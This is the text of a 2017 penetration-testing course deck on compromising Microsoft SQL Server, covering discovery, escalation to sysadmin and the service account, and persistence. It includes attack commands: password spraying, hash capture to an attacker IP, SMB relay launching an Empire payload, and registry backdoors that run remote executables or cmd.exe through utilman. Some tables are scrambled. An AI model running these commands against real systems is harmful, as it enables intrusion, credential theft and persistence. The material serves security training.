4.
1 Introduction
4.2 MS SQL Server Fundamentals
4.3 Locating & Accessing SQL Servers
4.4 Escalating privileges within SQL Server
4.5 Common Post-Exploitation Activities
4.6 Poisoning the SQL Server Resolution Protocol
PT e treme - Caendra Inc. © 2017
PT e treme - Caendra Inc. © 2017
The majority of organizations base their database
infrastructure on SQL Server. SQL Server is a very powerful
and robust database platform by MS. It actually has as much
functionality as an operating system does.
PT e treme - Caendra Inc. © 2017
It also integrates tightly, right out of the box with Windows
and Active Directory domains.
Consequently, there are trust relationships which we can
leverage, from an attacker perspective.
PT e treme - Caendra Inc. © 2017
While we cover infiltrating into MS SQL servers, we will focus
our attention on weak and default configurations that can be
leveraged by a penetration tester / red team member.
PT e treme - Caendra Inc. © 2017
We will also gain a better understanding of what the attack
surface of SQL instances is, especially in Active Directory
environments.
PT e treme - Caendra Inc. © 2017
The following topics will be covered.
• Locating & accessing SQL servers from various attack perspectives
• Identifying insufficiently secure configurations
• Escalating privileges within SQL Server from various attack perspectives
• Post-exploitation activities
PT e treme - Caendra Inc. © 2017
PT e treme - Caendra Inc. © 2017
At its core, MS SQL Server can be seen as just another
application. It is actually a set of Windows services that run
on the OS.
PT e treme - Caendra Inc. © 2017
It is important to note that those Windows services run in
the context of the service account. Every time an instance of
SQL Server is installed, a set of Windows services is actually
being installed that are uniquely named.
PT e treme - Caendra Inc. © 2017
At a high level, the following SQL Server account types exist.
• Windows Accounts
• SQL Server Logins (inside SQL Server)
• Database Users (inside SQL Server)
PT e treme - Caendra Inc. © 2017
Windows accounts and SQL Server logins are used for signing
into the SQL Server.
PT e treme - Caendra Inc. © 2017
In order to access data, an SQL Server login has to be
mapped to a database user (unless you are a SysAdmin). A
database user is created separately within the database
level.
PT e treme - Caendra Inc. © 2017
As far as MS SQL Server common roles are concerned, you
will usually come across the following.
• sysadmin role
• public role
Refer to the following link for an extensive list.
SQL Server: Server-Level Roles
PT e treme - Caendra Inc. © 2017
The sysadmin can be seen as the equivalent of a Windows
administrator for SQL Server.
PT e treme - Caendra Inc. © 2017
The public role is the least privileged role, which, in theory,
allows someone to only connect to the SQL Server. It can be
seen as something similar to the Everyone group in
Windows.
PT e treme - Caendra Inc. © 2017
PT e treme - Caendra Inc. © 2017
MS SQL servers can be identified from all attack perspectives
(unauthenticated user, local user, domain user), using various
techniques. Let’s go through them…
PT e treme - Caendra Inc. © 2017
1. The unauthenticated perspective
From an unauthenticated perspective, a penetration tester
trying to find databases can use standard scanning methods
(TCP, UDP, UDP broadcast).
PT e treme - Caendra Inc. © 2017
MS SQL Server identification, through TCP/UDP port
scanning, can be performed with tools such as Nmap,
Nessus, SQLping3, OSQL/SQLCMD, MSF’s mssql_ping module
and PowerUpSQL.
PT e treme - Caendra Inc. © 2017
For example, to identify SQL Server instances in our testing
“ELS” domain, from an unauthenticated user perspective, we
can use SQLCMD.
>> sqlcmd -L
PT e treme - Caendra Inc. © 2017
We can do the same with Metasploit’s mssql_ping module.
msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS Target_IP_or_CIDR_identifier
msf auxiliary(mssql_ping) > run
PT e treme - Caendra Inc. © 2017
Finally, we can identify SQL Server instances, from an
unauthenticated user perspective, using PowerUpSQL.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceScanUDP
PT e treme - Caendra Inc. © 2017
Pillaging activities against a previously compromised system
(e.g. finding a file that contains details regarding the
whereabouts of critical infrastructure) can also prove useful
in locating MS SQL servers.
PT e treme - Caendra Inc. © 2017
In the case of databases residing in Azure environments, a
penetration tester can perform enumeration activities
through a DNS dictionary attack, usually against URL’s with
the format x.databases.windows.net.
PT e treme - Caendra Inc. © 2017
Databases in Azure
Another thing to look for when dealing with databases
residing in Azure environments is configuration files,
containing connection strings, on public repositories.
PT e treme - Caendra Inc. © 2017
Databases in Azure
Although databases in Azure environments are behind a
firewall, by default, you will see that a lot of organizations
open up holes on those firewalls.
PT e treme - Caendra Inc. © 2017
2. The local user perspective
Identifying local instances is trivial. A penetration tester, as a
local user, can identify local SQL Server instances by checking
the system’s services and registry settings. Additionally,
PowerUpSQL includes a function to quickly identify local
instances.
PT e treme - Caendra Inc. © 2017
Identifying local SQL Server instances in our testing
“MSSQLSERVER2016” machine, could be performed using
PowerUpSQL as follows.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceLocal
PT e treme - Caendra Inc. © 2017
3. The domain user perspective
When SQL Server is installed inside a domain, the instance is
automatically registered in Active Directory, with an
associated service account. This is done to support Kerberos
authentication.
PT e treme - Caendra Inc. © 2017
We can therefore locate SQL Server instances through SPN
scanning, as we already covered. In addition, we can use
tools such as setspn.exe, adfind.exe, the Get-Spn.psm1 script
and once again PowerUpSQL.
PT e treme - Caendra Inc. © 2017
For example, to identify SQL Server instances in our testing
“ELS” domain, from a domain user perspective, we can use
PowerUpSQL as follows.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceDomain
PT e treme - Caendra Inc. © 2017
The result in our testing “ELS” domain is the following.
PT e treme - Caendra Inc. © 2017
To perform SQL Server discovery (and exploitation) at scale,
we can leverage PowerUpSQL’s functionalities. PowerUpSQL
can perform SQL Server discovery from all the attack
perspectives, as mentioned above.
PT e treme - Caendra Inc. © 2017
PT e treme - Caendra Inc. © 2017
By now, we should have identified all SQL servers in the
environment. Let’s now try to gain an initial foothold into
those SQL Server instances.
PT e treme - Caendra Inc. © 2017
To gain an initial foothold actually means escalating from an
unauthenticated user, local user or domain user to an SQL
login.
PT e treme - Caendra Inc. © 2017
So, the first case we will cover in escalating privileges within
SQL Server is unauthenticated user / local user / domain
user -> SQL login
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
From an unauthenticated or domain user perspective we can
perform dictionary attacks using commonly used credentials.
Dictionary attacks should be executed with caution to avoid
locking any accounts.
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
Following is an example of launching a dictionary attack
against the identified SQL Server instances of our testing
“ELS” domain, using PowerUpSQL. (Unauthenticated or
Domain User perspective.)
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceScanUDP | Invoke-SQLAuditWeakLoginPw
or
>> Get-SQLInstanceDomain | Invoke-SQLAuditWeakLoginPw
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
The result in our testing “ELS” domain is the following.
(Domain User perspective)
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
NOTE: You can also try manually connecting to the identified
SQL Server instances with a set of credentials, by executing
the following.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceScanUDP | Get-SQLConnectionTestThreaded –Username username –
Password password
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
Many applications with SQL Server Express as backend, are
set up using specific credentials and instance names due to
vendor recommendations. Those credentials should also be
considered.
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
Following is an example of launching a default password test
against the identified SQL Server instances of our testing
“ELS” domain, using PowerUpSQL. (Domain User
perspective)
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw
or
>> Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
The result in our testing “ELS” domain is the following.
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
From a local or domain user perspective, we should always
try to login to SQL servers using the current account. This is
due to the fact that excessive login privileges are commonly
met on enterprise networks.
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
Following is an example of trying to login to the identified
SQL Server instances using the current account, using
PowerUpSQL. (Domain or Local User perspective)
>> import-module .\PowerUpSQL.psd1
>> Get-SQLInstanceDomain | Get-SQLConnectionTest
or
>> Get-SQLInstanceLocal | Get-SQLConnectionTest
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
The result in our testing “ELS” domain is the following
(Domain User perspective).
*To return to slide 68, click HERE.
**To return to slide 70, click HERE.
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
Please refer to PowerUpSQL’s wiki page below, to find more
examples on how to use PowerUpSQL in various occasions.
https://github.com/NetSPI/PowerUpSQL/wiki
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
While trying to gain initial foothold on SQL server (from all
perspectives), we should always check for unencrypted SQL
Server communications. If this is the case, via man-in-the-
middle attack techniques we can inject our own queries.
Based on the victim’s privileges we may be able create
(inject) our own SQL login.
PT e treme - Caendra Inc. © 2017
Gaining Initial Foothold on SQL Server
Please refer to the sqlmitm.py by Anitian for injecting
(altering) SQL queries on the fly.
PT e treme - Caendra Inc. © 2017
Now that we have gained initial foothold let’s try to work our
way up from public role level privileges to sysadmin level
privileges.
PT e treme - Caendra Inc. © 2017
So, the second case we will cover in escalating privileges
within SQL Server is SQL login -> sysadmin.
PT e treme - Caendra Inc. © 2017
To work our way up from public role level privileges to
sysadmin level privileges we can leverage the following.
1. Weak Passwords & Blind SQL Server Login Enumeration
2. Impersonation Privilege
3. Stored Procedure and Trigger Creation / Injection Issues
4. Automatic Execution of Stored Procedures
PT e treme - Caendra Inc. © 2017
1. Weak Passwords & Blind SQL Server Login Enumeration
If we attempt to list all SQL Server logins, through our initial
foothold, we will only see a subset of them.
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
Listing all SQL Server logins, through our initial foothold, can
be executed by executing the following queries.
SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
We can utilize the suser_name function, which returns
the principal name for a given principal id. We can therefore
identify all SQL logins by fuzzing the principal id value, inside
the suser_name function, through the public role.
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
We can fuzz the principal id value, inside the suser_name
function by executing the following queries.
SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
…
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
Then, we can try to identify weak passwords on those
identified SQL Server logins.
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
If this approach fails, we can also perform blind domain
account/objects enumeration through our initial foothold,
again with the public role.
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
Then, we can target the identified domain users and
continue from there, again checking for weak passwords. In
addition, imagine how useful this is in the case of a remote
SQL injection based attack.
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
The procedure is the following.
a) Get the domain where the SQL Server is located
SELECT DEFAULT_DOMAIN() as mydomain
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
b) Get the full RID of Domain Admins group
SELECT SUSER_SID('identified_domain\Domain Admins')
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
c) Grab the first 48 bytes of the full RID, to get the SID for
the domain. Then, create a new RID (that will be
associated with a domain object) by appending a hex
number value to the abovementioned SID.
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
d) Finally, use the suser_name function to get the domain
object name associated with the supplied RID.
SELECT SUSER_NAME(RID)
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
Blind SQL login enumeration can be performed through
PowerUpSQL’s Get-SQLFuzzServerLogin function whereas
blind domain account enumeration can be performed
through the Get-SQLFuzzDomainAccount function.
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
To perform blind SQL login enumeration against the
accessible instance we identified before, execute the
following.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLFuzzServerLogin –Instance ComputerName\InstanceName
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
As you can see, using blind SQL login enumeration we
identified a previously unknown SQL login, “els1admin”.
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
To perform blind domain account enumeration against the
accessible instance we identified before, execute the
following.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLFuzzDomainAccount -Instance ComputerName\InstanceName
PT e treme - Caendra Inc. © 2017
Weak Passwords & Blind SQL Server Login Enumeration
As you can see below, using blind domain account enumeration we identified
previously unknown domain accounts and also gathered critical information
about the environment.
PT e treme - Caendra Inc. © 2017
2. Impersonation
The next SQL Server feature we can leverage to gain
sysadmin level privileges is impersonation.
PT e treme - Caendra Inc. © 2017
There are a lot of ways of getting code or a command to run
in the context of a user that has more privileges than we
have on SQL Server. The most commonly used ones are the
following.
PT e treme - Caendra Inc. © 2017
Impersonation on SQL Server
1. Impersonate Privilege 7. Import / Install Custom
2. Stored Procedure and Trigger Assemblies
Creation / Injection Issues 8. Ad-Hoc Queries
3. Automatic Execution of Stored 9. Shared Service Accounts
Procedures 10. Database Links
4. Agent Jobs 11. UNC Path Injection
5. xp_cmdshell proxy acount 12. Python code execution
6. Create Database Link to File or
Server
PT e treme - Caendra Inc. © 2017
In the context of trying to escalate from public role level
privileges to sysadmin level privileges, we will focus on the
following paths to impersonation.
a. Impersonate Privilege
b. Stored Procedure and Trigger Creation / Injection Issues
c. Automatic Execution of Stored Procedures
PT e treme - Caendra Inc. © 2017
a. Impersonate Privilege
There is a privilege/permission in SQL Server which allows a
less privileged user to impersonate a user with more access.
The queries/commands to be executed are not limited in any
way.
PT e treme - Caendra Inc. © 2017
Impersonate Privilege
There is a requirement for OS command execution though,
the database has to be configured as trustworthy.
PT e treme - Caendra Inc. © 2017
Impersonate Privilege
For example, to manually check if you can impersonate the
sa login, execute the following queries.
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
PT e treme - Caendra Inc. © 2017
Impersonate Privilege
NOTE: EXECUTE AS LOGIN is used at the server level. For the
database level, EXECUTE AS USER can be used.
PT e treme - Caendra Inc. © 2017
b. Stored Procedure and Trigger Creation / Injection Issues
Developers usually gather all the functionality they want the
user, to be able to execute in a kind of an elevated context,
and put it inside a stored procedure.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
To execute it and give it access to additional things,
developers usually have it executed as the owner of the
database (EXECUTE AS OWNER).
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
This way, execution can still take place in another user’s
context, commands can be limited and granting the
impersonate privilege is not required.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
There are some disadvantages from a security perspective,
when following this approach.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
The first one is that there is no granular control over the
database owner’s privileges. The second one is that when
applications are deployed, the sa account or a sysadmin
account usually owns the database.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
The DB_OWNER role can then use the EXECUTE AS OWNER
to actually execute in the context of either the sa or
sysadmin accounts.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
Finally, if those stored procedures are implemented
insecurely, impersonation through SQL injection or command
injection can occur, by actually extending the stored
procedure.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
An example of such a stored procedure is the following.
USE MyDB
GO
CREATE PROCEDURE elevate
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember
'simple_user','sysadmin'
GO
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
Once again, there is a requirement for OS command
execution. The database has to be configured as trustworthy.
The more secure way of following this approach is through
signed stored procedures, although impersonation through
SQL or command injection can still occur.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
Let’s see an attack scenario showcasing how a penetration
tester / red team member could leverage an insufficiently
secure EXECUTE AS OWNER configuration.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
A DBA performs the following for a web application.
Creates an SQL login for the web application.
Assigns this SQL login the db_owner role, so
that the web application can access whatever
is needed from the database.
Sets the AdventureWorks2008 database as
trustworthy, so that it can access external
resources.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
From the attacker perspective now, suppose we identified
the web application’s SQL login (internal penetration test) or
found an SQL injection point. Let’s do some reconnaissance…
Specifically, we would like to identify:
1. Databases owned by a sysadmin
AND
2. Databases that are a set as TRUSTWORTHY
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
You can identify such databases by executing the following
query.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
Be reminded, that the issue with the DBA’s setup is that the
web application SQL login could create a stored procedure
and be able to EXECUTE AS OWNER (sa), as follows.
Creates a stored procedure which runs as the
owner (sa) and adds the web application’s SQL
login to the sysadmin role.
The web application SQL login executes the
stored procedure
The web application SQL login is now a
sysadmin.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
Now, we should be able to perform OS command execution
against the SQL Server.
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
Both the reconnaissance and the exploitation phases could
be automated, using the following Metasploit modules, from
internal as well as external attack perspectives.
auxiliary/admin/mssql/mssql_escalate_dbowner
auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
PT e treme - Caendra Inc. © 2017
Stored Procedure and Trigger Creation / Injection Issues
To perform a more thorough investigation on the available
stored procedures and their possible vulnerabilities, please
refer to the following resource.
https://blog.netspi.com/hacking-sql-server-stored-
procedures-part-3-sqli-and-user-impersonation/
PT e treme - Caendra Inc. © 2017
From SQL Injection to
DA Hash
PT e treme - Caendra Inc. © 2017
c. Automatic Execution of Stored Procedures
All stored procedures configured to run as soon as the SQL
Server service restarts are executed as sa. Consequently,
access to such stored procedures by a user other than
sysadmin can result in unauthorized execution with sa level
privileges.
PT e treme - Caendra Inc. © 2017
NOTE: To check for all the abovementioned issues quickly
and efficiently, you can use the Invoke-SQLAudit function of
PowerUpSQL, against accessible instances. Then, you can use
Invoke-SQLEscalatePriv to automatically attempt to escalate
your privileges based on the misconfigurations that Invoke-
SQLAudit identified.
PT e treme - Caendra Inc. © 2017
We have already performed SQL Server discovery, gained
initial foothold in SQL Server and escalated our privileges to
sysadmin.
PT e treme - Caendra Inc. © 2017
Now, we would like to move from the database layer into the
operating system layer. We actually want to run as the
service account.
PT e treme - Caendra Inc. © 2017
So, the third case we will cover in escalating privileges
within SQL Server is sysadmin -> Service Account
PT e treme - Caendra Inc. © 2017
While attempting to escalate from a sysadmin context to a
Service Account context, we will directly utilize command
execution ways through the SQL Server.
PT e treme - Caendra Inc. © 2017
We can also indirectly utilize the following to achieve the
same.
1. Shared Service Accounts
2. Crawling Database Links
3. UNC Path Injection
PT e treme - Caendra Inc. © 2017
To begin with, there are numerous ways to execute operating
system commands through SQL Server. Please refer to the
table below.
PT e treme - Caendra Inc. © 2017
OS Command Execution through SQL Server
Technique Configuration Requires Requires
Change SysAdmin Disk Read/Write
xp_cmdshell Yes Yes No
Custom Extended Stored No Yes Yes
Procedure
CLR Assembly Yes No No
Agent Job: No No No
CmdExec, PowerShell, SSIS,
ActiveX: Jscript, ActiveX: VBScript
Python Execution Yes Yes No
Write to file autorun Yes Yes Yes
Write to registry autorun Yes Yes Yes
https://www.slideshare.net/nullbind/2017-secure360-hacking-sql-server-on-scale-with-powershell
PT e treme - Caendra Inc. © 2017
OS Command Execution through SQL Server
PowerUpSQL provides a variety of OS command execution
ways such as.
>> $Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami"
>> $Targets | Invoke-SQLOSOle -Verbose -Command "Whoami"
>> $Targets | Invoke-SQLOSR -Verbose -Command "Whoami"
PT e treme - Caendra Inc. © 2017
OS Command Execution through SQL Server
When executing OS commands through SQL Server, those
commands are executed in the context of the service
account. No service account password or hash is required.
PT e treme - Caendra Inc. © 2017
In addition, do not forget to check if the RottenPotato exploit
applies. RottenPotato can help us escalate from a service
account to Local System.
PT e treme - Caendra Inc. © 2017
Let’s now see some indirect ways of achieving privilege
escalation to a Service Account context.
PT e treme - Caendra Inc. © 2017
1. Shared Service Accounts
Above we understood the impact of running OS commands
as a Service Account. What happens when those service
accounts are shared?
PT e treme - Caendra Inc. © 2017
Shared Service Accounts
Let’s be reminded of the following.
• OS commands from inside SQL Server run in the context of the SQL Server
service account
• SQL Server service accounts have sysadmin privileges, by default.
• Organizations usually utilize a single domain account to run many SQL
Servers
PT e treme - Caendra Inc. © 2017
Shared Service Accounts
Consequently, if we compromise a single SQL Server, we will
have also compromised all SQL servers using that shared
account. Note that the compromise could also take place
remotely from an SQL injection vulnerability.
PT e treme - Caendra Inc. © 2017
Shared Service Accounts
Not only we will have sysadmin access to the database but
possibly full administrative access to the underlying OS as
well, since it is a common practice to give the SQL Server
service account local administrative privileges.
PT e treme - Caendra Inc. © 2017
2. Crawling Database Links
Database links are essentially a persistent connection
between two servers. They allow server A to communicate
with server B and pull data from server B, without having a
user logged in.
PT e treme - Caendra Inc. © 2017
Crawling Database Links
Data links can be configured in different ways. They can be
configured to run as the current user who’s logged in, but
more often we see them use hard-coded credentials.
PT e treme - Caendra Inc. © 2017
Crawling Database Links
The use of hard-coded credentials can result in privilege
escalation due to the fact that even members of the public
role have the right to select data on server B from server A
over the link using OpenQuery.
PT e treme - Caendra Inc. © 2017
Crawling Database Links
While they are querying, they are actually impersonating the
user the link is configured with. Also note that OpenQuery is
available to everyone.
PT e treme - Caendra Inc. © 2017
Crawling Database Links
The most interesting thing though, is that those links can be
crawled or nested. This means that leveraging database links
we can spread the compromise to the linked databases.
PT e treme - Caendra Inc. © 2017
Crawling Database Links
In the case of a database link being configured with an sa
account, we can execute operating system commands and
escalate to a larger environment.
PT e treme - Caendra Inc. © 2017
Crawling Database Links
If the initial compromise was a result of an SQL injection
vulnerability in a low value web application and database
links exist with other high value databases, we could
leverage those links and end up interacting with high value
databases, if not compromising them. All from a single SQL
injection attack.
PT e treme - Caendra Inc. © 2017
Tools for automating crawling and leveraging database links
are the following.
https://www.rapid7.com/db/modules/exploit/windows/mss
ql/mssql_linkcrawler
https://blog.netspi.com/sql-server-link-crawling-
powerupsql/
PT e treme - Caendra Inc. © 2017
Remotely Executing
SQL Server Link
Crawling & ARP
Poisoning Through a
VPN Tunnel
PT e treme - Caendra Inc. © 2017
3. UNC Path Injection
UNC paths are used to access remote file servers, following
the format \\ip\file. The majority of stored procedures
accepting a file path, will also accept a UNC path.
PT e treme - Caendra Inc. © 2017
UNC Path Injection
When UNC paths are utilized on SQL Server, the remote file is
not grabbed under the context of the current user. The
remote file is grabbed under the context of the service
account that is running SQL Server.
PT e treme - Caendra Inc. © 2017
UNC Path Injection
As penetration testers, if we can execute one of those
functions, we can force the SQL server to authenticate to us
at which point we can capture the SQL service account’s
NetNTLM password hash and either crack it offline or relay
it.
PT e treme - Caendra Inc. © 2017
UNC Path Injection
If the attack is successful we will become a DBA if not a local
admin, as we covered earlier.
PT e treme - Caendra Inc. © 2017
UNC Path Injection
It should be noted that the public role, by default, has two
procedures that accept file paths. xp_dirtree and
xp_fileexists. Subsequently, this means that the public
role has direct access to the SQL Server service account’s
NetNTLM password hash, by default.
PT e treme - Caendra Inc. © 2017
UNC Path Injection
Get-SQLServiceAccountPwHashes script of PowerUpSQL in
conjunction with Inveigh can automate capturing the SQL
Server service account’s NetNTLM password hash, as follows.
>> import-module .\PowerUpSQL.psd1
>> Import-Module C:\PowerUpSQL-master\Scripts\3rdparty\Inveigh.ps1
>> Import-Module C:\PowerUpSQL-master\Scripts\Pending\Get-
SQLServiceAccountPwHashes.ps1
>> Get-SQLServiceAccountPwHashes -Verbose -TimeOut 20 -CaptureIp
attacker_controlled_IP
PT e treme - Caendra Inc. © 2017
UNC Path Injection
The result of such an attack in our testing “ELS” domain is
the following.
PT e treme - Caendra Inc. © 2017
UNC Path Injection
Following is an example on SMB relaying the acquired,
through UNC path injection, and the SQL Server service
account’s NetNTLM password hash. For the UNC path
injection part we are using the
auxiliary/admin/mssql/mssql_ntlm_stealer_sqli MSF module
whereas for the SMB relaying part we are using impacket’s
smbrelayx.py.
PT e treme - Caendra Inc. © 2017
UNC Path Injection
The scenario is the following (internal red team
engagement):
• Web App 1: 10.10.10.109 (Attacker found an SQL injection)
• SQL Server 2: 10.10.10.106 (Target identified during recon)
• Attacker System: 10.10.10.101
• Attacker suspects that a shared SQL Server account is used for both SQL
Server instances
PT e treme - Caendra Inc. © 2017
UNC Path Injection
Attacker executes the following on his machine.
>> python smbrelayx.py –h 10.10.10.106 -c “powershell_empire’s_launcher"
msf > use auxiliary/admin/mssql/mssql_ntlm_stealer
msf auxiliary(mssql_ntlm_stealer) > set SMBPROXY 10.10.10.101
msf auxiliary(mssql_ntlm_stealer) > set RHOST 10.10.10.109
msf auxiliary(mssql_ntlm_stealer) > set GET_PATH /employee.asp?id=1+[SQLi];--
msf auxiliary(mssql_ntlm_stealer) > run
PT e treme - Caendra Inc. © 2017
UNC Path Injection
UNC Path injection
Successful SMB relaying
through SQLi, against
(shared SQL Server account)
10.10.10.109
Remote command execution
against 10.10.10.106
PT e treme - Caendra Inc. © 2017
UNC Path Injection
NOTE: You can also perform the abovementioned attack, if
you acquire valid SQL login or domain account used for SQL
Server authentication (and of course a shared service
account exists). In this case you should use
auxiliary/admin/mssql/mssql_ntlm_stealer instead of
auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
PT e treme - Caendra Inc. © 2017
A common scenario is when we get into an SQL Server as a
local admin but we do not have sysadmin privileges.
Accessing the actual data inside an SQL Server instance is of
great importance.
PT e treme - Caendra Inc. © 2017
At this point we should be reminded of the available options
to impersonate the SQL Server service account or acquire its
password, from a local or domain administrator perspective.
Please refer to the table in the following slide.
PT e treme - Caendra Inc. © 2017
Approach 2000 2005 2008 2012 2014 2016
Read LSA Secrets x x x x x x
Dump Wdigest or NTLM password hash from Memory x x x x x x
Process Migration
x x x x x x
(Remote DLL or Shellcode Injection)
Steal Authentication Token from SQL Server service
x x x x x x
process
Log into SQL Server as a local administrator x x
Log into SQL Server as LocalSystem x x x
Log into SQL Server in Single User Mode as a local
? x x x x x
administrator
https://www.slideshare.net/nullbind/2017-secure360-hacking-sql-server-on-scale-with-powershell
PT e treme - Caendra Inc. © 2017
For a set of tools to execute the above, please refer to the
following table.
PT e treme - Caendra Inc. © 2017
Account Account Default
Approach Password Impersonatio Sysadmin Common Tools
Recovery n Privileges
Read LSA Secrets Mimikatz, Metasploit, PowerSploit,
X
(Because service accounts) Empire, LSADump
Mimikatz, Metasploit, PowerSploit,
Empire
Dump Wdigest or NTLM password hash from Memory X
(This tends to fail on protected
processes)
Process Migration Metasploit, PowerSploit, Empire
X
(Remote DLL or Shellcode Injection) Python, Powershell, C, C++
Metasploit, Incognito, Invoke-
TokenManipulation, Invoke-
Steal Authentication Token from SQL Server service process X
SQLImpersonateService -Verbose -
Instance ServerName\InstanceName
Any SQL Server client.
Log into SQL Server as a local administrator X
Note: Only affects older versions.
Any SQL Server client and PSExec.
Log into SQL Server as LocalSystem X
Note: Only affects older versions.
Log into SQL Server in Single User Mode as a local
X DBATools
administrator
https://www.slideshare.net/nullbind/2017-secure360-hacking-sql-server-on-scale-with-powershell
PT e treme - Caendra Inc. © 2017
IMPORTANT NOTE:
While trying to escalate our privileges, we should always
check for unencrypted SQL Server communications. If this is
the case, via man-in-the-middle attack techniques we can
inject our own queries. Based on the victim’s privileges we
may be able to apply the sysadmin role to our SQL login.
PT e treme - Caendra Inc. © 2017
PT e treme - Caendra Inc. © 2017
Common post-exploitation activities usually consist of three
phases.
1. Persistence
2. Identifying Sensitive Data
3. Extracting SQL Server Login password hashes
PT e treme - Caendra Inc. © 2017
1. Persistence
The majority of the escalation methods we have covered can
be used as persistence methods as well.
PT e treme - Caendra Inc. © 2017
Persistence
On the SQL Server layer we can create malicious startup
procedures, malicious agent jobs or triggers. We can also
modify existing code and much more. On the OS layer we
can execute operating system commands and modify the
system’s registry, tasks, services etc.
PT e treme - Caendra Inc. © 2017
Persistence
From a red team perspective all will be stored as SQL objects
in the database and nothing will touch the disk.
SQL Server auditing and/or monitoring should take place to
discover our activities.
PT e treme - Caendra Inc. © 2017
Persistence
For example, to establish persistence, we could set up a
debugger for utilman.exe, that will run cmd.exe when it's
called. This can be done as follows, with sysadmin privileges
only! Then, we could RDP into the machine, press the
windows key + “u” key combination and be presented with a
command prompt.
>> import-module .\PowerUpSQL.psd1
>> Get-SQLPersistRegDebugger-Verbose -FileName utilman.exe -Command
'c:\windows\system32\cmd.exe' -Instance "SQLServerName\InstanceName"
PT e treme - Caendra Inc. © 2017
Persistence
In another example, we could leverage CurrentVersion\Run
to establish persistence with xp_regwrite, using PowerUp
SQL as follows. This can be done with sysadmin privileges
only!
>> import-module .\PowerUpSQL.psd1
>> Get-SQLPersistRegRun –Verbose –Name Legit –Command
"\\attacker_controlled_machine\malicious.exe" –Instance
"SQLServerName\InstanceName"
PT e treme - Caendra Inc. © 2017
Persistence
In yet another example, we could also export all custom CLR
assemblies to DLLs, backdoor any of those DLLs and finally
import the backdoored CLR assembly to establish
persistence. This can be done as follows, using PowerUpSQL
and having sysadmin privileges only!
>> import-module .\PowerUpSQL.psd1
>> $Results = Get-SQLStoredProcedureCLR -Verbose -Instance
ServerName\InstanceName -Username sa -Password 'Password' -ExportFolder c:\temp
>> Create-SQLFileCLRDll -Verbose -SourceDllPath c:\temp\evil.dll
PT e treme - Caendra Inc. © 2017
2. Identifying Sensitive Data
Some key indicators of sensitive databases are size and the
utilization of transparent encryption.
